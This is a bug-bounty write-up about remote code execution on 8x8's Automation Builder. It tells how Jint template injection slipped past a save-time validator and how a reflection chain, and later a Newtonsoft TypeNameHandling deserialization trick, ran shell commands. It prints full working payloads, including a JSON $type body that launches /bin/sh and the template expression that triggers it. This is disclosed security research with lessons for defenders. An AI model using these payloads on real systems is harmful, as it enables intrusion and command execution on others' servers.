Command execution on the production pod of 8x8's automation engine, from a free self-signup account. And more interesting than the bug is the road to it: I had declared this target impossible twice, in writing, with analysis behind it, and both times I was wrong.
connect.8x8.com: Deserialization Vulnerability in Automation Builder via Jint→Newtonsoft serializer coercion (TypeNameHandling) (https://hackerone.com/reports/3861550) - $3000 bounty
9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

The target
The Automation Builder on connect.8x8.com is a low-code workflow builder. One of the step types is HttpRequest: it fetches a URL I choose, server side, and returns the response into the workflow.
The step's fields accept templates. Anything between {{ }} is evaluated ON THE SERVER when the workflow runs:
"outputs": {"o": "{{ step.ResponseCode }}"}
That is the definition of an SSTI surface (server-side template injection): I write an expression, the server runs it. The whole question is what that evaluator can reach.
I got to this step hunting SSRF, because "a URL the server fetches and hands the body back to me" is textbook SSRF (it was, and it became another report). But when you see {{ }} in a product, the second question asks itself: which engine evaluates that?
Jint and CLR interop
Engine fingerprint: Jint 4.9.0. Jint is a JavaScript interpreter written in C#, embedded inside .NET applications. It exists for exactly this case, letting a customer write a small expression without shipping a whole V8.
The detail that matters is interop. When the application injects a real .NET object into the JavaScript scope, JS code can call .NET methods on that object. Jint has switches for this:
AllowClr(false): does not expose the CLR bridge (clr,System,importNamespace).AllowGetType = false: hides any member namedGetType.AllowSystemReflection = false: refuses to wrap any object whose namespace starts withSystem.Reflection.
8x8's engine set none of these explicitly, it ran on Jint's defaults (which are already the safe values above). And it injected two objects into the template scope: data (an ExpandoObject) and step (the step object).
That was the first discovery that changed the game:
{{ ''+step }} -> Wavecell.Automation.Core.Steps.HttpRequest
step is not a data dictionary. It is the live .NET object for the step, with Url, Headers, ResponseBody, RunAsync. And it was writable: Reflect.set(step,'Url', ...) changed the outgoing URL after validation.
The save-time validator, and getting past it
Before running, 8x8 validates the expression when the workflow is saved. It is a custom AST validator with data-flow tracking. It blocks function, arrows, classes, object literals {}, assignment in every form, backtick template literals, eval, Function('...'). And it follows taint: if you reach Function through [].constructor.constructor and then call it via .call, .apply, Reflect.apply, [Fn][0], .pop(), Map.get(0), it rejects. It is a better validator than most.
What it lets through: x++, delete, the comma operator, Reflect.set, Reflect.get, Object.defineProperty, new, .map/.find/.sort.
The bypass was:
Reflect.apply( Reflect.get([].constructor,'constructor'), null, [data.code] )
Two ideas. Reflect.get([].constructor,'constructor') reaches Function through a METHOD CALL rather than member access, so the taint tracker does not follow it. And [data.code] carries the code as a runtime VALUE from the trigger body, which is never save-validated, so no string literal appears in the expression.
It worked: typeof on the result came back "function". The primary SSTI defense was defeated, I was constructing an arbitrary function from my own input.
The wall
Then I hit MaxStatements, a Jint runtime limit. Creating the function fit in the budget. CALLING it did not. Not even an empty-bodied one. I tried everything: splitting create and call across different outputs (the function survives between outputs via prototype pollution, but the budget is cumulative per workflow), map, find, forEach, sort, Array.from. I measured every mechanism in a local Jint 4.9.0: they all cost the same, the body always adds the same statement, and that is exactly the one 8x8 refused.
I tried escaping the budget through hooks the engine calls itself, with a fresh counter. toJSON on the prototype: the engine serializes via Jint/Newtonsoft and never calls toJSON. A getter via Object.defineProperty: it DOES call it, my function really executed, but the getter fires so late in serialization that only return <constant> fits. return 6*7*10101 already blew the budget.
Wrong conclusion, version 1
After about 30 rounds I wrote a dossier with a "definitive conclusion":
On this primitive, host RCE is NOT achievable. Five layers of defense, each verified: (1) the AST validator, bypassed; (2) MaxStatements, blocks invocation; (3)
AllowSystemReflection=false, blocks theTask.Exception.TargetSiteroute; (4) theGetTypefilter, blocks the object-to-Type route; (5) no CLR statics exposed.
Everything in there is technically correct, and the conclusion is still false. The error is one sentence I wrote without testing:
System.TypeIS wrappable (namespace "System"), but there is no reachable Type source that is notGetTypeorSystem.Reflection.
I deduced that from Jint's interop model. I never enumerated the members of the objects actually in scope. Deducing the surface and enumerating the surface are different things, and I had stamped "definitive" on the first one.
Why System.Type is the key piece
Worth explaining why I was hunting a System.Type at all. In .NET, if you hold a Type object you have:
type.InvokeMember("ReadAllText", flags, null, null, new object[]{ "/etc/passwd" });
The method NAME is a runtime string argument. A filter that hides members by name never sees it go by. And Type.GetType("System.Diagnostics.Process") resolves any loaded type. A Type in hand is the skeleton key of .NET reflection.
And System.Type lives in namespace System, not System.Reflection, which is the part that decides this bug. So AllowSystemReflection=false, which blocks by namespace prefix, does not block Type. Knowing that distinction tells you exactly what to look for.
Actually enumerating
I went back and enumerated, member by member, everything reachable in scope. And there it was:
step.ResponseBody is a Newtonsoft JObject (the parsed HTTP response). JObject.CreateReader() returns a JsonReader. And JsonReader has a ValueType property, which returns the .NET type of the value at the current token.
ValueType returns a System.Type. It is not named GetType, so the name filter misses it. It is not in System.Reflection, so the namespace block misses it. It had been sitting there the whole time, exposed by the object the application itself chose to inject into the scope.
The chain:
{{(Reflect.set(data,'r', step.ResponseBody.slideshow.CreateReader()),
data.r.Read(), data.r.Read(), data.r.Read(),
Reflect.set(data,'st', data.r.ValueType), // System.Type of a System.String
Reflect.set(data,'ot', data.st.BaseType), // System.Object
Reflect.set(data,'rtt', data.ot.InvokeMember(data.getType,276,null,data.st,[])), // System.RuntimeType
Reflect.set(data,'ft', data.rtt.InvokeMember(data.getType,344,null,null,[data.fileT])),
''+data.ft.InvokeMember(data.readAll,280,null,null,[data.p1]))}}
Every name ("GetType", "System.IO.File", "ReadAllText", /etc/hostname) arrives through the trigger body, so the saved expression contains no literals at all. The numbers 276/344/280 are BindingFlags, which Jint happily coerces from a JS number to the enum. Reflect.set stores the intermediates because = is blocked.
Result: the pod's /etc/hostname, its /etc/os-release (Alpine), and then the same chain resolving System.Diagnostics.Process and calling Start:
uid=1000(wcapp) gid=1000(wcapp) groups=1000(wcapp)
RCE in production, from a free account.
And it was closed as a duplicate of #3849420. It happens.

Wrong conclusion, version 2
Three days later the fix landed, and that is where the part that actually paid begins.
A critical RCE fix always deserves a retest, because the report tells them where you think the bug is, and the fix tells you how much of the root cause they understood. I retested and mapped exactly what changed:
step.ResponseBodyis still a raw NewtonsoftJObject.CreateReaderis still a function. The CLR object is still in the attacker's scope.- The save-time validator did not change, the gadget definition still saves with a 201.
reader.ValueTypebecameundefined. That is all. AMemberFilteron the interop layer, hiding that member.
In other words: they closed the gadget, not the door. My recommendation had been to project the response into plain JS values, and that part was not done.
So I tried to break the fix, and I tried hard. I built a local .NET 9 lab with Jint 4.9.0 and Newtonsoft 13, the exact versions the engine runs, and ran a reachability BFS across the entire exposed CLR closure (JObject, JToken, JsonReader, CultureInfo, NumberFormat, Calendar, CompareInfo, the types of step's members). Across that whole graph, exactly five members reach a reflection primitive: ValueType (now filtered), Enum.GetUnderlyingType (which needs a Type as its argument, circular, dead) and Task.Exception.TargetSite (dead twice over: Jint auto-awaits Tasks, so you can never hold the faulted Task, and even when you force one, TargetSite is System.Reflection and gets blocked).
I even tested the subtle variant: in .NET every property has a differently named getter, get_ValueType(). If the fix were a naive MemberFilter like m.Name != "ValueType", the accessor would survive. In the lab, under that naive filter, reader.get_ValueType() returned the Type and the whole gadget came back. In production: undefined, while the controls get_TokenType, get_Value, get_Culture were still functions. So their filter catches the property AND the accessor.
I wrote: "remediation effective and robust, no reportable bypass". This time with real enumeration behind it.
And I was wrong again. Because I enumerated exhaustively along the wrong axis. I searched for REFLECTION paths. The bypass uses no reflection at all.
$type and TypeNameHandling
Two pieces of context before the bug.
First, $type in Newtonsoft. The library can serialize the .NET TYPE alongside the data so it can rebuild the right class on the way back. That shows up as a $type key in the JSON:
{"$type":"MyApp.Order, MyApp", "total": 10}
This only happens if TypeNameHandling is set to something other than None. And when it is on over JSON the attacker controls, it is the classic .NET insecure deserialization bug: I choose which class gets instantiated, and there is a whole catalog of ready-made gadgets (ysoserial.net) for turning that into execution.
Second, why I had ruled it out. My own dossier note said, in so many words, that $type was dead because the engine uses JToken.Parse(text), a plain parse with no TypeNameHandling. I had even tested it: sending {"$type":"System.Collections.Hashtable"} in the trigger body instantiated nothing, $type stayed a literal key.
That note was right about Parse and wrong as a conclusion. JToken.Parse ignores $type. Re-DESERIALIZING that same tree through a serializer with TypeNameHandling on does not.
The bug: an overload picked wrong
JToken has a ToObject method with these overloads:
object ToObject(Type objectType);
T ToObject<T>(JsonSerializer jsonSerializer);
object ToObject(Type objectType, JsonSerializer jsonSerializer);
Now, from the JavaScript side, I call it with ONE argument, and that argument is a JObject (a piece of the HTTP response I control):
step.ResponseBody.payload.ToObject(step.ResponseBody.cfg)
Jint has to pick an overload. It tries to convert my JObject into System.Type: impossible, Type is abstract. That leaves ToObject<T>(JsonSerializer). And then Jint's default type converter does the most helpful and most dangerous thing available: it sees my JObject is a string-keyed dictionary, calls Activator.CreateInstance(JsonSerializer), and assigns each key as a property on the new object.
One of JsonSerializer's properties is called TypeNameHandling. It is an enum. And Jint converts a JS number to an enum without blinking.
So this fragment of MY HTTP response body:
"cfg": {"TypeNameHandling": 3}
becomes a JsonSerializer configured by me, with TypeNameHandling.All. And ToObject uses that serializer to re-deserialize the JSON tree, which is also mine, now honoring $type.
Nobody needed reflection. Nobody touched ValueType. The filter 8x8 installed is orthogonal to the entire chain.
The payload
The body served at the URL the step fetches (I used https://httpbin.org/base64/<base64>, which returns the decoded content):
{"payload":{"$type":"System.Diagnostics.Process, System.Diagnostics.Process"},
"psi":{"$type":"System.Diagnostics.ProcessStartInfo, System.Diagnostics.Process",
"FileName":"/bin/sh","ArgumentList":["-c","id; hostname; uname -sm; head -2 /etc/os-release"],
"RedirectStandardOutput":true,"UseShellExecute":false},
"cfg":{"TypeNameHandling":3}}
And the output template, a single expression:
{{''+step.ResponseBody.payload.ToObject(step.ResponseBody.cfg)
.Start(step.ResponseBody.psi.ToObject(step.ResponseBody.cfg))
.StandardOutput.ReadToEnd()}}
Read aloud: payload.ToObject(cfg) instantiates a System.Diagnostics.Process via $type. .Start(psi) reaches the static Process.Start(ProcessStartInfo) off the instance wrapper, with a ProcessStartInfo also built through $type. .StandardOutput.ReadToEnd() reads stdout.
Notice what the saved expression does NOT contain: no type name, no command, no function, no =, no {, no ;. Every dangerous string comes from the HTTP response, which is fetched after save time. The save validator sees an innocent member-access expression. Nothing in it had to be bypassed this time.
And Process.Start returns a Process, not a System.Type, so the fix's MemberFilter is never consulted.
Result, on the production pod:
uid=1000(wcapp) gid=1000(wcapp) groups=1000(wcapp)
automation-api-primary-69f45d794b-qjzgn
Linux x86_64
NAME="Alpine Linux"
ID=alpine
Takeaways
- When a low-code product evaluates
{{ }}server side, the question is not "is there SSTI?", it is "what exactly is in scope?". Here the answer was a live .NET object, and that decided everything. - Enumerate the surface, do not deduce it. Both times I wrote "definitive, not achievable" I had a pretty argument and no member listing.
ValueTypewas exposed the whole time. - And enumerating is not enough if the axis is wrong. The second time I exhaustively enumerated REFLECTION paths. The bypass came through DESERIALIZATION, a class I had written off in my own notes.
- A fix is a fresh lead, not a closure. It shows you where they think the bug was. A narrow fix over an intact root cause means the door is still open, just missing that one handle.
- Argument coercion in an interop bridge is an entire surface almost nobody looks at. "This string-keyed dictionary becomes this configuration object, with whatever properties you send" is a huge primitive, and it exists in any bridge that tries to be helpful.
TypeNameHandlingover attacker-controlled JSON is still RCE in .NET, in 2026. Except here it was not enabled in the code: I enabled it, by passing a number.